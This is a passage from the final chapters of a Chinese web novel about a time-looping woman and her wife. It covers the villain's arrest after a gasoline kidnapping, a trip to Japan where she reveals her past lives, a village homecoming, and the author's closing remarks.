她往后退了一步,“你、你个疯子!” 陆延猛地扑了过去,将人扑倒在地上。 屋子里的尖叫声不断,却没有一个人来看到底是怎么回事。 陆延用麻绳将沈念念捆起来,看着她涕泗横流的滑稽画面后,他仰头哈哈大笑了两声,面上有些病态。 没错,他就是疯了。 是被这些女人一起逼疯的。 季白青、温淼、陆霁、沈念念…… 都怪她们。 都怪她们! 他现在过都连一条狗都不如,都是拜她们所赐。 所以,陆延要报复她们。 沈念念瑟缩地往后退:“我、我错了,刚才不应该打你,你打我吧!“ 她不知道陆延这个疯子会做出什么事,只能够尽力将他安抚下来。 陆延冷着脸,没听她的话,将她的嘴堵住,最后把她和桌腿捆在一起,守着她,抱着怀里的汽油过了一夜。 第二天早上,沈念念看着向自己靠近的陆延,往后拼命挣扎,却只能够抵着桌腿,被桎梏在原地。 她眼神惊恐,眼睁睁地看着陆延扭开汽油,反手将汽油倒在了她身上。 从头到脚都是汽油的味道,沈念念喘着粗气,似乎已经感受到了火灼烧着自己皮肤的疼痛。 身体发出焦味,所有的头发衣物都被点燃,她痛到想要在地上打滚,双腿无助地蹬着地面,最后还是无能为力。 看着她开始发癔症,陆延扯了扯唇。 他现在没点火,是因为还少了个人。 第二个人,是温淼。 把温淼烧死的话,季白青会是什么表情呢? 他微笑着,找出口罩和帽子戴上后出了门。 顺着记忆的方向,他找到了温淼的家,在外面蹲守好久才等到温淼出门。 他一路跟在温淼身后,想要将人打晕带走,想要将想法化为行动的时候,他的后颈反而最先一疼,下一秒便没了意识。 再次醒来的时候,他看着周围熟悉的环境,身体忽然发抖。 怎么又到派出所了! 他听见了拘留室传来的说话声:“这人已经做了违法犯罪的事了,杀人未遂,无论如何,都还请警察同志你们都要给受害人一个交代。” “好的,陆同志,刚才我同事她们已经去犯人家找了,看到了沈同志,不过她好像已经疯了,一直在说她的身上有火烧……所里肯定会严肃处理这件事的。” 后面的内容是什么,他已经听不清了。 他抱着头,瞳孔收缩,有些痛苦。 突然,“嘎吱”一声响起,外面的光线透进去。 陆延一抬头,就看到了陆霁冷着的一张脸。 她开口道:“整天想着那么多心术不正的事,以前想杀人,现在还想杀人,你就在牢里过后半生吧。” 说完后,她身边的警察道:“罪犯陆延,购买汽油蓄意杀人,尾随女同志,就等着判无期徒刑吧。” 说完后,立马就有警察涌入,不顾陆延的挣扎与怒吼,按着他去监狱。 将陆延的事暂时解决,陆霁总算是能给季白青一个交代。 打电话通知了季白青后,她没再管。 沈念念疯了,这倒是季白青没有想到的。 但是陆延入狱,是他活该- 在八月初,保洁公司组织研发团队和部分生产团队去日本进行为期三天的生产线参观,公司负责机票和全部食宿。 想着温淼没有去过日本,季白青便怀着私心,自掏腰包捎上了家属。 这次不只是参观学习,也算是公司对研发团队和表现出众的生产员工的鼓励,在日本待的时间有五天,剩下的两天可以自主行动。 温淼对日本不太熟悉,语言也不太熟,这三天里的大部分时间都是待在酒店的房间里,等着季白青回来的时候,两个人再一起出门去逛逛。 等到三天之内将日本著名品牌的卫生巾工厂参观一遍,又交流学习了日本工厂的优势后,这次参观活动完美结束。 剩下的两天,季白青打算带着温淼在日本玩玩。 在二十一世纪的时候,季白青经常来日本出差,对这一处的了解比较深。 不过到底是有几十年的变迁,现在的日本和几十年后的日本还是有一定的差异,但也不太大。 两天的时间倒也来不及去太多的地方,季白青便买了两张火车票,乘坐东海道新干线去伊豆半岛。 她们下车后就乘车准备去海滩。 在路上,季白青拧开一瓶水,正想要问温淼渴不渴。 身体突然与外界隔开了一道屏障,季白青看着周边变得模糊的身影,眉头一皱。 正在脑中想着到底是怎么了,脑海里突然有一道威严又淡漠的熟悉声响在脑中回荡。 “小世界的主角之一已经死亡。” 季白青一愣,握着水瓶的手捏紧,瓶子里的水一滴一滴落在裙摆上她也没有意识到。 她张了张唇,心里只觉得有些奇怪。 “……谁?” 怎么就莫名其妙死了,她可什么都没干啊。 不过小世界倒是没有一点先是先前回溯的世界一般要崩塌的意思。 总不能是因为出了国吧。 她垂眸沉思。 天道的声音再度响起,季白青诡异地从中听到了几分激动:“是陆延。” “他是在监狱里被侵犯后自我了断,所以小世界得以继续运行。” 季白青一时间倒也不知道是什么感受,下一秒天道落下来的话就将她砸得头脑发懵。 “世界意识检测一番之后,发现现在与主角光环最适配的人选……是你。” 季白青有些无语:“……谢谢,不用。” 她扯了扯唇,她和温淼不被世界意识和主角光环搞就行了,对这还真是一点也不稀罕。 天道幽幽道:“你不用也没办法了,已经落在你身上了。” 季白青皱起眉,没想到这玩意还是不问她人意见就可以强加的。 她想了想:“可以放在我老婆身上吗?” 祂道:“不行,更何况,温淼早就有气运加身了,是你最后一次回溯对我提的要求。” ——我要温淼不再受到剧情的限制,不为沈念念和陆延让步,我要她做……天命之女。 先前说过的话适时被回想起,季白青面上勾起浅笑,倒也释然了些。 她很快收起面上的笑,冷淡地对天道道:“知道了,你可以离开了。” 于外界隔开的屏障很快消食,温淼提醒的声音传来: “阿青,水溢出来了。” 说着,她从包里拿出手帕帮她将晕湿的那一块上的水擦掉。 季白青想着刚才所听到的话,还有些心不在焉,将手放松了些,问她:“渴了没?喝点水。” 温淼点头,接过了水喝了一小口。 没多久,就到了目的地。 看着远处碧蓝的海水,温淼有些期待,牵着季白青的手往前跑。 两人轻盈的裙摆被风吹着往后飘,被海水也衬得明丽自由几分。 周围不少人都拿着相机在拍照,有人看着这一场面,立刻举起相机将这一幕拍了下来。 她们是先把带来的东西都放在了酒店,到海岸的时候便也没带什么,温淼背了个斜挎包,季白青脖子上挂着相机,两人将鞋脱下拎在手中,赤脚踩在松软的沙滩上。 温淼笑得明媚,扭头对季白青道:“这里的海水颜色好漂亮!快看!那里还有一只螃蟹!” 季白青眼神落在她的脸上,也笑着点头。 “我帮你拍几张照片。” 说着,她举起相机给温淼拍照。 两人身上穿的都是红色的沙滩裙,和海岸的适配度很高。 每一张照片的人和景都是互相衬托的,漂亮极了。 温淼又给季白青拍了几张,两人一起玩了会儿水之后,有些累了,正打算坐在树下歇一会儿,忽然有人走了过来。 同样是亚裔面孔,但对方说着的是叽里咕噜温淼听不懂的语言。 听着这几天听得有些熟悉的口音,温淼大概猜到了是日本本地人。 她正想用英语告诉她并听不懂她所说的话的语言窘境,就见季白青对她微微一笑,用流利的日语回答对方。 最后,捏着日本友人给她们拍的照片,季白青举起来给温淼看。 “她是说刚才给我们拍了张合照,说很漂亮,还说我们很配的。” 看着照片上两人飞扬的裙摆,温淼暂且压下了内心的疑惑,拿过来仔细看了看。 “真好看!” 不过季白青是怎么知道说日语的? 她完全不记得对方有学过。 但是看着季白青脸上洋溢的笑,温淼还是没有说什么。 季白青和温淼看了会儿照片后,两人很快找到一处荫蔽处,那有人卖椰子,还架起了可以提供休息的场所。 她便过去和摊主交流一番,买了两个椰子。 摊主利落地帮她们将椰子打开,往里插了根吸管。 季白青和温淼坐在凳子上喝着椰汁,在咬住吸管之后,她后知后觉感到了不对劲。 嗯……她刚才好像是当着她老婆的面,用日语和别人交流了。 温淼……温淼应该没有怀疑什么吧? 她有些不确定,小心地觑着温淼的脸色。 温淼此时正在喝着椰汁,眯着眼睛看向远处碧蓝的一片海岸。 季白青试探性地询问:“老婆,你还要吃点什么吗?我去给你买。” 在出门前,季白青还和温淼撒娇,让她今天要看好自己。 不然走丢的话,凭借季白青现在脑海里仅存的英语词汇怕是找不回家了。 温淼当时应得好好的。 现在她和日本人说话对答如流,她没有起疑心吗? 温淼闻言,点了点头:“我想吃寿司。” 日本的寿司她还挺喜欢吃的,很新鲜的做法,偶尔吃一两次不会觉得腻。 见她神情这么自然,看不出来一丝不对劲,季白青又觉得有些奇怪了。 她老婆难道就一点没有怀疑自己? 心里虽然这么想,但是季白青还是快速地去了卖寿司的摊上买。 拿着一盒寿司回来的时候,她一眼就看见温淼旁边占了个颇为美艳动人的女人,对方嘴里说的也是日语,温淼听不懂试图用英语和对方简单沟通几句,对方却也听不懂英文。 季白青听出对方话里的意思是想要搭讪温淼,面色有些不悦。 站在原地调整好了面部表情,她最后才回到温淼身边,凑过去在她脸上亲一口。 “寿司买好了。” 她像是才看到温淼身边的女人,侧过脸去和她说了几句话之后,对方这才灰溜溜地离开了。 温淼看着精致摆在盒子里的寿司,等到人走了才有些好奇道:“她刚才是在说什么?” 季白青面不改色正经道:“她问你厕所在哪,我刚才已经告诉她了。” 温淼了然,点了点头,站起身:“我也想去厕所。” 季白青连忙将人拉住,此时也意识到她看破了自己在胡说。 “厕所在后面。” 哼了一声后,她道:“那人刚才是在和你搭讪,想要你的联系方式。” “我告诉她你是我妻子。” 她就知道,温淼这么聪明,怎么可能看不出来。 那她突然会说日语这件事她肯定也察觉了。 季白青看着她,最后还是直白问道:“我会说日语你不疑惑吗?” 温淼吃了一个寿司,眯着眼睛晃了晃腿,闻言并没有着急回答,而是给她也喂了一个。 见人咀嚼着食物,温淼道:“有些疑惑而已,你想对我说的时候应该会对我说的吧?” 季白青将寿司咽下,眉眼弯弯地点头,赞同她的说法。 “晚上回去和你说好不好?” 见温淼点了头,季白青刚才高高提起的心瞬间放下。 两人休息了一会儿后,又在海边捡了漂亮的贝壳和海螺,打算带回去留作纪念。 在海岸边玩了一下午,回到了酒店,在吃完晚饭之后,她们便被侍应生带着一起去了酒店的温泉处。 酒店临山靠水,昼夜温差有些大,明明白天是穿短袖裙子都没关系的温度,到了晚上,是除了脸外的任何一寸皮肤露出来都会被冻到起鸡皮疙瘩的程度。 季白青订的是一处私人温泉,只有她和温淼两个人,侍应生将水果和烧酒和饮料放在了岸边的小几上后就离开了。 她将外面裹着的浴衣脱下,试了试温泉的温度,不是太热,便下了水。 靠在岸边看了还犹犹豫豫的温淼一眼,她笑得懒洋洋的,雾气氤氲开,在水汽中青年露出雪白的肩头,更显清丽。 “老婆,快下来,这里只有我们两个,水也不深,不用害怕。” 而且其实浴衣里面也不是什么都没有穿,分别都套着泳衣呢,哪用得着这么害羞。 温淼犹豫了一会儿,最后还是将浴衣脱下,露出被粉色泳衣包裹的雪白身体。 季白青靠在一边只觉得大饱眼福。 她老婆身材可真好。 人下了水之后,温淼险些滑到,季白青快速到她身边将人扶稳,带着她一起趴在岸边,挑了点好看的水果,又给她喂了些水果,问: “舒服吗?” 热气蒸着脸,将脸颊蒸得发粉,温淼最开始是有些紧张和不安的,但是此刻脚可以落在实地,加上适宜的水温,让她被泡得骨头都有些发软。 “舒服。” 两人泡温泉的时候喝了一点烧酒,是青梅酒,酒气不大浓郁,不过季白青记得温淼是一杯倒,倒也没有让她多喝,温淼更多喝的饮料。 泡了半个小时,放松了筋骨,两个人就出了池子,换了身衣服后回到酒店房间。 回屋,收拾好之后,今天玩了一天,两人都有些累了。 温淼躺在床上,正等着季白青晾好衣服回来。 季白青回到床边,看着床上的人,坐在一侧。 温淼磨蹭着靠了过去。 “怎么还不睡?”温淼问。 季白青捏她的脸颊肉。 “下午不是说回来和你说事吗?” 听出来她话里的正式,温淼的睡意散了几分。 她支着身体坐了起来。 两人对视一眼后,季白青开口道:“我会日语是因为我学过。” 温淼还没意识到不对劲,嘀咕道:“我怎么不知道?” 季白青沉默了一瞬继续道:“因为那个时候我还不认识你。” 这话让温淼有些摸不着头脑,怎么听起来乱七八糟的。 季白青见她一头雾水的模样,抿唇浅笑,在她脸上亲了一口。 “淼淼,还记得我曾经说过,我是为你而来的吗?” 【作者有话说】 被可恶的蚂蚁咬了,肿了个大包,可恶啊! 感谢投雷营养液,感谢评论订阅收藏~ 第136章【正文完】 第136章 ◎她的温淼◎ 温淼一愣,歪着头觉得有些奇怪。 “嗯,你说过。” 先前听见这话的时候,她只当做是季白青对她说的情话之一,并没有往深处想过。 季白青轻轻一笑,眼神温和地落在她的身上,轻声道:“就是字面意思。” “如果我说,现在的世界我曾经经历过不止一次,你相信吗?” 这话说出之后,季白青的耳边瞬间发出一声轰鸣,外界的讯息瞬间被隔绝开,天道的声音响起,祂斥道:“你要干什么!小世界的事情绝对不能告诉她!” 季白青冷嘲:“为什么不能?主角光环在我身上,温淼身上也笼罩着气运,给我一个不告诉她的理由。” 说到了最后,季白青失了耐心。 “放心吧,就算是跟温淼说了,她也不会说出去,只有我们两个人知道。” 她的声音里听不出回旋的余地。 这话一出,天道沉默一瞬,知道自己无力左右,最后还是将屏蔽撤开。 季白青的视觉和听觉再度恢复正常。 她揉了揉耳朵,这回听见了温淼的回答。 “我……信。” 女人盯着她的眼神专注,红唇也绷直,轻声问道:“只是,关于那些,你可以说给我听听吗?” 季白青娓娓道:“我们在第一世,我就喜欢你了,但不知道你对我是什么感情,后来因为世界意识作祟,我们被迫分开,最后没能有一个好的结果。” “在原本的世界,沈念念和陆延是主角,而你是忮忌沈念念的配角。” “后来我扰乱世界秩序,小世界无数次回溯,天道最后和我达成共识,让你身上受到的限制被解开,我也被暂时投放到四十多年后的世界,日语也是在那时候学的。“ “在那个世界里,我们的曾经变成了一本小说被我看到,而我一眼就喜欢上了书里的‘温淼’,回到小世界的时候以为是我穿进书里,喜欢你才对你那么殷勤。” 看着温淼显然是还没有回过神来的脸,季白青弯起眼睛笑了一声。 “虽然当时没有记忆,也与你并不相熟,可我的身体还是情不自禁地向你靠近。” “温淼,我是为你而来的。” 她说到最后一个字的时候,温淼怔怔地看着她,眸中的雾气凝成实质,蓦然掉落。 为她而来……原来是这个意思么? 温淼自觉并不是什么最笨的人,此刻却不知道说些什么话来回答才能够显得郑重。 她张了张唇,最后还是什么话都说不出来,只是扑到了季白青的怀里,将人抱紧。 明明季白青说的话在谁听来都只会觉得离奇,实在是叫人难以相信,别人要么觉得她实在胡说,要么就当季白青是骗人。 可温淼也不知道为何,季白青说的话,她不会怀疑,几乎是立马就相信了。 而她此刻心中所想便是,她很心疼季白青。 季白青这样性格的人,现在说出的话听着轻飘飘的,但是途中所经受的辛苦完全可以几十倍放大。 她能够做到让世界秩序重组,必然付出了很大的代价,而她却只用简单的一句扰乱秩序揭过,可温淼却能够猜到她省去的那一部分的艰辛。 而季白青所做的这一切,都是为了她。 在没有她的几十年,回溯的岁岁年年,季白青又是怎么过的呢? 光是靠着想象,温淼就觉得心痛。 她的爱人,为了和她相爱,历经千重万阻,向她奔赴而来。 女人的眼泪一滴一滴地往下掉,几乎将季白青的肩膀都打湿。 感受到了肩膀上的湿意,季白青有些心疼,拍着人的肩膀,声音里故意带上了几分笑意。 “虽然我知道你肯定是要为我对你坚如磐石的爱感动,但是也没必要感动成这样吧。” 温淼没有说话,只是咬着唇,却也没忍住溢出了几分啜泣。 季白青见她还没停下,有些无措,声音放低了几分,温柔道:“蓁蓁,不哭了。” “一切都是我自愿的,现在对我来说是最好,也是我最想要的结果,我之前的努力并没有白费。” 她将温淼的脸抬起来,动作熟练地帮她擦去泪花。 温淼仰着脸任她动作,显得很乖。 看着女人雪白的脸蛋,青年的额头和她缓缓相贴,额头相抵,鼻尖也抵在一处,四目相对间,季白青缓缓闭上了眼。 她喟叹道:“我们现在能够好好在一起,这就很好了。” 温淼浅色眼眸中还蕴含着水光,因为刚哭过,声音绵软,还带了点泣音。 她问:“我们初见那一世,我怎么会不喜欢你?” 她喃喃:“那也太没眼光了。” 季白青失笑,她声音轻得像是一阵雾气。 “现在我们相爱,这就很好。” 过了一会儿,她补充道:“我那时候和现在不一样,配不上你的,你不喜欢也正常。” 温淼将*头往后撤,瞪了她一眼后立马咬住了她的唇。 含糊的声音从唇边传出:“才不会!” 在青年的唇瓣上留下一个浅色的咬痕,她才坐直了身体,一双漂亮的桃花眼看着季白青,眼神专注: “无论你怎么样我都会喜欢才对。” 季白青无论再怎么变,都只是季白青。 温淼喜欢现在的季白青,那第一世的温淼便也会喜欢那时候的季白青才对。 季白青弯着唇,在她认真的注视之下,轻轻点头。 “我知道了。” 温淼低低应了一声,去卫生间洗了一把脸之后才再度回到床上。 季白青也换了件衣服,现在时候不早了,她躺在床上等着温淼回来。 温淼掀开她身上盖着的毯子,往她的怀里缩。 或许是刚才将所有的事都坦诚,让女人对她多了几分依赖。 跟动物幼崽似的,温淼在季白青的怀里找了半天在找了个最亲密的位置落下。 她的手搭在季白青的腰上,并没有开口说话,只是默默将人抱紧。 季白青看着她泛着粉的眼皮,叹了口气,想要给她找块热帕子敷眼睛,但现在温淼显然不想离开她的怀抱。 好在刚才还没有哭多久。 她微微吐出一口气,手落在温淼的后脑上,柔声道:“不要再多想了,宝宝快点睡觉。” 温淼应声,抬起脸在她的下巴上亲了一口。 “阿青晚安。” “老婆晚安。”- 五天的日本之旅到期后,她们乘坐着飞机回去。 各自工作三个多月,到了十二月末,季白青终于得以从公司脱身,她的春节假期加上年假一起有差不多两个月的时间。 两人这几年都在忙事业,因为工作原因,已经有两年没有回过潇南了。 温淼十二月已经结课,特意空出了时间,两人将东西收拾好,一起回了潇南。 这次回去,她们也没有告诉何香月和季伟,想要给两个人一个惊喜。 两人到溪宁镇的时候已经是晚上七点了,好在赶上了火车站门口的最后一站长途客车。 十二月,北风呼啸,晚上的风叫嚣得更为嚣张。 到了云水村村口的时候几乎见不到村里人,大部分人都躲在家里猫冬烤火取暖。 季白青和温淼提着大包小包,乘着月色,在路灯的照引之下往家走。 温淼四处看看村里的变化,觉得有些惊奇。 “两年没有回来,变化还挺大。” 脚下踩着的主路都从泥巴路变成了水泥路,村里的二楼一眼看过去好像也多了起来,砖房也比两年前多了些。 季白青点头:“无论是城里还是乡下,这几年都在变化。” 两人说着话,就到了季家门口。 透过一层窗户,没有看到里面的灯亮着。 季白青心想,她们该不会是睡了吧。 八点虽然还有些早,但是对她们来说,也不是不可能。 她拿出钥匙来,将灶房的门打开,带回来的礼物都放在了灶房凳子上,两个人摸索着往屋里走。 刚到屋里,感受到了一阵凛风,季白青将灯一拉,拉着温淼下意识往后退了一步,屋内亮起,她们和拿着一根棍子的何香月大眼对小眼。 何香月刚才听见窸窸窣窣的声音,以为家里进了小偷,都来不及套一件厚衣服,只是穿着秋衣就跑出来了。 看着她手上的大粗棍子,季白青的唇角抽抽。 要不是刚才她反应快,刚一回来就要被何香月打进医院了。 随后季伟也开了房门,看到了屋子里的两个人瞪大了眼。 何香月收起了手里的棍子,讪讪道:“你们怎么回来了?我还以为是有小偷上门了。” 说完这句话后,何香月的底气瞬间回来了,没好气拍了季白青一巴掌: “天天这么搞!要吓死你老娘!” 温淼在一边细声解释:“娘,爹,我和阿青只是想给你们一个惊喜。” 何香月白眼翻上天:“得了吧,还惊喜,惊吓还差不多。” “大晚上的,回来吃饭了没有?” 见两个人摇头,何香月看了季伟一眼,季伟立马识相地往灶房走。 何香月问她们:“今天先在家里歇一天,明天再回去你们那?家里的房间总收拾,那边一个月收拾一次,怕是不太干净,明天我再去帮着收拾收拾。” 季白青点头,“娘,我们明天自己回去收拾就行,你不用操心。” 她和温淼将自己的行李拎到了房间之后,又洗了个热气腾腾的澡,驱散了一身寒意,这才开始吃刚煮好的面。 吃完饭后也到了十点,何香月她们熬不住,早就回屋睡觉了,温淼和季白青将最后一点东西收拾了一番,最后也回到房间准备睡觉。 在第二天一早,季家季白青和温淼回来的消息就传遍了整个云水村。 她们有两年的时间没有回来过年,对此村里人众说纷纭。 大部分的人是猜季白青和温淼离婚了,毕竟两个女人结婚的事到底还是少见。 尤其季白青和温淼之间的差距那么大,一个是乡下出身的贫苦泥腿子,一个是来自城里的娇滴滴的知青,怎么看都觉得这段感情不能长久下去。 更有甚者猜测,季白青在外赚不到钱,就连买车票的钱都买不起,这才两年不回来,不然早该回来种田了。 所以在一听到了这个消息之后,不顾天气的寒冷,村里人穿上袄子,缩着脖子缩着身体就往季家院子里塞。 何香月出来倒水的时候也看到了她们,自然知道她们这是想要来看自家女儿和女媳的笑话的。 她眼珠子一转,笑盈盈道:“大早上的,吃饭没有啊,来我家坐坐啊。” 闻言,众人的眼睛一亮,没有推辞,一个个都进了季家的屋里。 何香月将电视机打开,又开始将季白青和温淼带回来的东西往桌上摆,当着她们的面一件一件拆开。 有从京市带回来的一盒点心,有京市烤鸭,甚至还有两件皮大衣! 其它或是贵重或是显示心意的东西被一一打开,众人的眼睛都瞪大了。 王大娘咂嘴,开口问道:“这、这……香月啊,这些都是季白青那丫头给你们买的?” 见和香月摇了摇头,众人才松了一口气。 差点误会了,还好不是。 何香月见她们的表情,在内心偷笑一声,随后慢悠悠道:“这是白青和淼淼一起给我买的。” 这话一出,众人一阵无语。 这又有什么区别! 孙大爷慢悠悠道:“也对,两年没有回来了,省里两年的路费,这可不有钱给你们买东西了,就是别显摆了这一次之后,明年和后年又回不来了。” “要我说啊……白青就应该踏踏实实回来种田,起码还能管个温饱。” 众人听他这么说,瞬间哄笑起来。 屋外的人叽叽喳喳地说着话,屋子的隔音并不好,感受到怀里的人有些不耐烦地往自己的怀里钻,季白青下意识地伸出手捂住了温淼的耳朵。 这办法虽然有点用,但是不多。 最后,季白青和温淼抱着被子坐了起来,深深地叹了口气。 从床边够过了两人的衣服,季白青把温淼的衣服递给她。 “看来是继续睡不了了,老婆,起来吃个饭,去我们家收拾了再睡。” 温淼揉着眼睛,慢半拍地点头。 两人一起收拾好之后才出了房间。 在看到了堂屋里的人这么多的时候,季白青也惊了一瞬。 难怪说刚才在房间里听着这么吵,原来是堂屋的人数都已经能够抵上一个戏班子了。 见着她们刚才一直在说的两人出了房间门,村里人顿时沉默了下来,打量着两个人的脸和她们身上的衣服。 温淼现在看起来照样娇美动人,季白青也格外清丽,可不像是吃了苦的样子。两人身上穿着的呢子大衣,光是看着就觉得价值不菲。 这也……不像是过得不好的样子啊。 马叔看着她们,突然冷嗤一声。 “你们两个一年到头都赚不到多少钱,穿这么好看有什么用!净捣鼓这些没用的了,有那些钱不知道孝敬父母么!” 这话一说,其她人瞬间也有了底气,纷纷附和。 “对啊,我们就是在地里干活的泥腿子,哪里需要穿这么好看。” “白青啊,不是大叔说你,只是你一只山鸡飞上了枝头也没有变成凤凰的理啊!” “就是,我看村头老王家的儿子可有出息了,在镇上都有工作呢。” “人家还是没考上大学的,你一个大学生比不上人家初中生。”有人嘲笑。 说着说着,人群里的声音忽然变得小了一些。 “接下来我们采访一下京市著名企业家季白青女士,听听她靠研发卫生巾而走出的成功之路。” 听着电视机里传出来的声音,看着电视里熟悉得能够和面前的人重叠的脸,村里人顿时像是哑了一般什么话都说不出来。 最年轻的企业家、年入百万元……这说的是刚才被她们嘲讽的季白青吗? 气氛突然变得尴尬起来。 季白青双手环胸,睨了她们一样。 “还有什么要说的吗?” 温淼一下笑了出来,笑盈盈道:“还能说什么,阿青你说怎么就这么巧,刚好放到了你的采访,这些人听了后牙槽都该咬碎了。” 完全戳中了她们的心思。 这话说完,已经有人颜面尽失,捂着脸直接跑了。 其她人也尴尬地找各种理由陆续离开,等到堂屋空荡下来,季白青看了眼何香月,对她竖起拇指。 “娘,你可真厉害。” 何香月哼了一声:“这可怪不得我,谁让她们想要看你们笑话。” 也不知道怎么就老有一批人就不盼着季白青和温淼好。 她将东西收了起来,这才小声地凑到两人面前问:“真的能年入百万吗?” 季白青差点被逗得笑出声来。 温淼回答道:“生意好的话是可以的,不好的话是几十万。” 居然赚这么多,何香月这回看着桌上的礼物一点也不心疼了,美滋滋地将东西收起来,端上早饭给两个人吃。 村里传消息的速度迅速,季白青是企业家还上了电视的消息很快就传开了,季白青和温淼打算坐车去镇上的时候,还能隐约听道村里人对她们的讨论。 去了镇上,温淼和季白青找到温如嫣现在住的地方。 很久没有见到温如嫣,温淼很想她。 门是被尚敏打开的,在看到她的第一眼,温淼一时间以为是自己找错地方了。 尚敏见到了她们,眸中闪过一抹心虚。 “你们来看嫣嫣吗?” 季白青:“?” 她看了眼尚敏,眸子微微眯起,心想这是什么称呼。 温淼也意识到了一丝怪异,但不知道从何说起,只能够下意识忽略。 两人进了屋,尚敏进了厨房继续做饭,温如嫣打开门,疑惑道:“谁来了?” 刚说完,就看到了沙发上坐着摸猫的两人。 温如嫣眼睛微微瞪大:“你们回来了?” 温淼点头。 温如嫣微微一笑:“还以为你们不会回来了,我还想着到时候回京市再去见你们。” “忘记了和你们说,我被调回京市的医院了,明年就能经常见面了。” 闻言,温淼和季白青都挺高兴的。 季白青最后给了姑侄两人说话的空间,她去了厨房和尚敏一起做饭。 吃了一顿饭后,又在温如嫣家坐了坐,两人这才带着温棉棉回家。 村里还有人对季白青是著名企业家这也说法持怀疑态度,毕竟她看起来哪有个企业家的样子! 整天在家里游手好闲的,不是抓鱼就是去挖笋,也不干点正事。 但是在一月初,县里有个领导来了村里,当着众人的面同新任村长荷花宣布,云水村今年获得了一共五万的捐款,全都用于建设云水村。 而捐款人便是季白青和温淼! 五万块钱,巨款! 这在村里掀起了轩然大波,所有人对季白青的评价瞬间变了。 都夸她有出息,聪明又能干,不愧是著名企业家! 季白青倒是没那么在意别人的说法,毕竟别人多说一句少说一句她都好好的。 捐款是早就准备好的。 现在李向东因为贪污被撤销了村长的职位,而自学认字、性格逐渐坚毅的荷花崭露头角成了新任村长,她知道对方的为人,那些钱她大概也不会私吞,更何况还有她爹季伟亲自看着呢。 她捐款不过是想要改善云水村的条件,让何香月和季伟还有一些友善的村民住得更舒坦。 何香月和季伟都更适应云水村的生活,并不想要去京市,季白青也不强求,只能着手创造更好的更方便的环境。 在云水村的捐款落实,准备动工的时候,季白青和温淼也差不多该回去了。 不过。 季白青却感觉温淼最近有些闷闷不乐。 她也有些纳闷,摸不清楚对方在想什么。 这天刚洗完澡回到房间,再一次注意到温淼对着镜子发呆,季白青抽了张凳子坐在她的旁边,笑着开口: “这不是还和以前一样漂亮,怎么看起来愁眉苦脸的?” “最近好像有点不高兴,为什么?” 温淼有几分慌乱地收回了视线,垂下眼睫轻轻摇头。 季白青捏她软白的脸颊:“快说,不许带着情绪过夜。” 这都过了不知道多久了,天天问,就是不肯说。 温淼搅着手,还是有些抗拒。 一直到季白青将手放在了她敏感的后颈处的时候,温淼躲着她的触摸,被人拉到怀里这才肯将心里话说出来。 “我的想法有点奇怪。” 季白青点头:“嗯,你说。” 温淼抬头看了她一眼后,飞快敛睫。 吞吞吐吐开口:“我只是有个问题……只是一个问题而已。” “……你更喜欢那时候的我还是现在的我?” 季白青有些疑惑:“什么时候?” 温淼瞪她,还以为她是又在逗自己。 “就是我们初遇的那个世界!” 听她这么说,季白青才了然。 一时间竟然不知道该怎么回答。 原来,不高兴是因为在心里偷偷地吃自己的闷醋。 怎么这么可爱。 她想了想,将压在衣柜底下的一个盒子拿了出来,递给温淼。 温淼打开,盒子里放着一沓本子,封面崭新,可以看得出被保护得很好。 她从标号为一的本子开始翻开起: 观察日志一 好瘦,得好好养养。 … 观察日志二十 原来不喜欢吃胡萝卜。 … 观察日志五十 我好像真的喜欢她。 … 观察日志七十 她难过我也难过,她开心我也开心,我可能不止喜欢她,可能是爱她。 … 观察日志两百 吵架了,下次再也不要吵架了。 … 观察日志六百二十一 结婚了^O^ …… 一共十几本笔记本,上面记录的全都是与温淼有关的喜怒哀乐。 将所有的内容翻开完之后,都已经到了半夜。 季白青最开始还有些不好意思,和温淼一起看到最后的时候已经麻木了。 将最后一页看完之后,季白青轻声问道:“现在知道我喜欢谁了吗?” “温淼,无论是之前的你还是现在的你都是同一个人,我喜欢的也只是同一个你。” “我喜欢温淼,也只喜欢温淼。” 温淼捏着手上的本子,默默将人抱紧。 季白青捏捏她的耳朵,耐心询问:“现在还吃醋吗?” 温淼摇了摇头:“不吃醋了。” 她轻声道:“我也喜欢阿青。” 季白青笑着亲她一口。 温淼抬头,看着季白青眼下的青黑,想到她为了开解自己熬夜,又突然觉得自己有些过分。 她小声询问:“你会不会觉得我很烦?” 她爱吃醋,偶尔还爱发脾气,很多时候很粘着季白青。 季白青有些诧异,认真地看着温淼,否定她的说法。 “不会觉得你烦。” “怎么样都觉得可爱。” 面前的人是她的妻子,她的爱人,她的温淼。 对着她,她生不出一丝厌烦。 爱到不行才对。 如果非要这么说的话,季白青想要温淼“烦”她一辈子。 烦她这辈子、下辈子、下下辈子,她们能够生生世世才好 ——正文完。 【作者有话说】 三个多月的连载时间,这本终于完结啦! 这是在晋江的第一本书,很荣幸能够获得这么多人的喜欢,大家的评论我都有看,感谢大家在中途给予的鼓励和给出的建议,总之能够创作出大家喜欢的作品我特别高兴,之后还会努力写更多作品,如果大家喜欢这本的话,可以去主页看看有没有喜欢的预收,点点收藏和作者收藏~ 下一本开《八零妻妻南下务工日常》还请收藏一下~[三花猫头] 想要看的番外可以在评论区提,会挑几个更多人喜欢的来写哦[亲亲]从明天开始更新if第一世的淼穿到现实世界和青青的故事 最后推一下好朋友们的书: 祈艾:这婚必须离!! 爱吃披萨的cc:如何抛弃养成系徒儿 拾欢joy:和钓系坏女人春风一度后 栗筠:和冷漠总裁姐姐分手后 木木很多树:霸总,但哭包! 安啾儿:老婆怎么知道我在狗叫什么